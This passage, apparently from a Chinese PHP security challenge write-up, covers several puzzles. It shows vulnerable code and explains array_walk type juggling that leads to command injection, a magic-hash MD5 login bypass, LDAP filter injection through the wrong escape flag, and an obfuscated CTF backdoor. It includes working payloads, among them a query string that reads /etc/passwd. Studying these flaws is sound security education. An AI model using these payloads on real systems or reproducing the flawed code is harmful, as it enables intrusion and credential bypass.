函数检查的参数值都是大于0的int型。但是导致问题的是调用方式,通过array_walk()
调用的函数会忽略掉严格模式还是按照之前的php的类型转换的方式调用函数。
e g:
declare(strict_types=1);
function addnum(int &$value) {
$value = $value+1;
}
$input = array('3a','4b');
var_dump($input);
array_walk($input,addnum);
var_dump($input);
输出:
array(2) {
[0]=>
string(2) "3a"
[1]=>
string(2) "4b"
}
array(2) {
[0]=>
int(4)
[1]=>
int(5)
}
由于array_walk()
的这种特性,我们可以传入任意字符进去,造成了命令执行。
payload:?p[1]=1&p[2]=2;%20cat%20/etc/passwd
Day 22 - Chimney
code:
if (isset($_POST['password'])) {
setcookie('hash', md5($_POST['password']));
header("Refresh: 0");
exit;
}
$password = '0e836584205638841937695747769655';
if (!isset($_COOKIE['hash'])) {
echo '<form><input type="password" name="password" />'
. '<input type="submit" value="Login" ></form >';
exit;
} elseif (md5($_COOKIE['hash']) == $password) {
echo 'Login succeeded';
} else {
echo 'Login failed';
}
漏洞:
md5($_COOKIE['hash']) == $password
使用的是==
且$password
为0e开头,比较时会当成科学计数法,所以找到一个hash为同样0e数字
格式的就行。
php > echo md5('240610708');
0e462097431906509019562988736854
Payload:
Cookie:hash=240610708
Day 23 - Cookies
code:
class LDAPAuthenticator {
public $conn;
public $host;
function __construct($host = "localhost") {
$this->host = $host;
}
function authenticate($user, $pass) {
$result = [];
$this->conn = ldap_connect($this->host);
ldap_set_option(
$this->conn,
LDAP_OPT_PROTOCOL_VERSION,
3
);
if (!@ldap_bind($this->conn))
return -1;
$user = ldap_escape($user, null, LDAP_ESCAPE_DN);
$pass = ldap_escape($pass, null, LDAP_ESCAPE_DN);
$result = ldap_search(
$this->conn,
"",
"(&(uid=$user)(userPassword=$pass))"
);
$result = ldap_get_entries($this->conn, $result);
return ($result["count"] > 0 ? 1 : 0);
}
}
if(isset($_GET["u"]) && isset($_GET["p"])) {
$ldap = new LDAPAuthenticator();
if ($ldap->authenticate($_GET["u"], $_GET["p"])) {
echo "You are now logged in!";
} else {
echo "Username or password unknown!";
}
}
漏洞:
题目中使用的过滤函数是ldap_escape($user, null, LDAP_ESCAPE_DN)
。
ldap_escape
dap_escape — Escape a string for use in an LDAP filter or DN
string ldap_escape ( string
$value
[, string$ignore
[, int$flags
]] )Escapes
value
for use in the context implied byflags
.
flags
The context the escaped string will be used in:
LDAP_ESCAPE_FILTER
for filters to be used with ldap_search(), or**LDAP_ESCAPE_DN
** for DNs.
当使用ldap_search()时需要选择LDAP_ESCAPE_FILTER过滤字符串,但是如果选择LDAP_ESCAPE_DN将会导致过滤无效。
payload:u=*&p=123456
Day 24 - Nutcracker
code:
@$GLOBALS=$GLOBALS{next}=next($GLOBALS{'GLOBALS'})
[$GLOBALS['next']['next']=next($GLOBALS)['GLOBALS']]
[$next['GLOBALS']=next($GLOBALS[GLOBALS]['GLOBALS'])
[$next['next']]][$next['GLOBALS']=next($next['GLOBALS'])]
[$GLOBALS[next]['next']($GLOBALS['next']{'GLOBALS'})]=
next(neXt(${'next'}['next']));
一道CTF题
https://github.com/ctfs/write-ups-2014/tree/master/hack-lu-ctf-2014/next-global-backdoor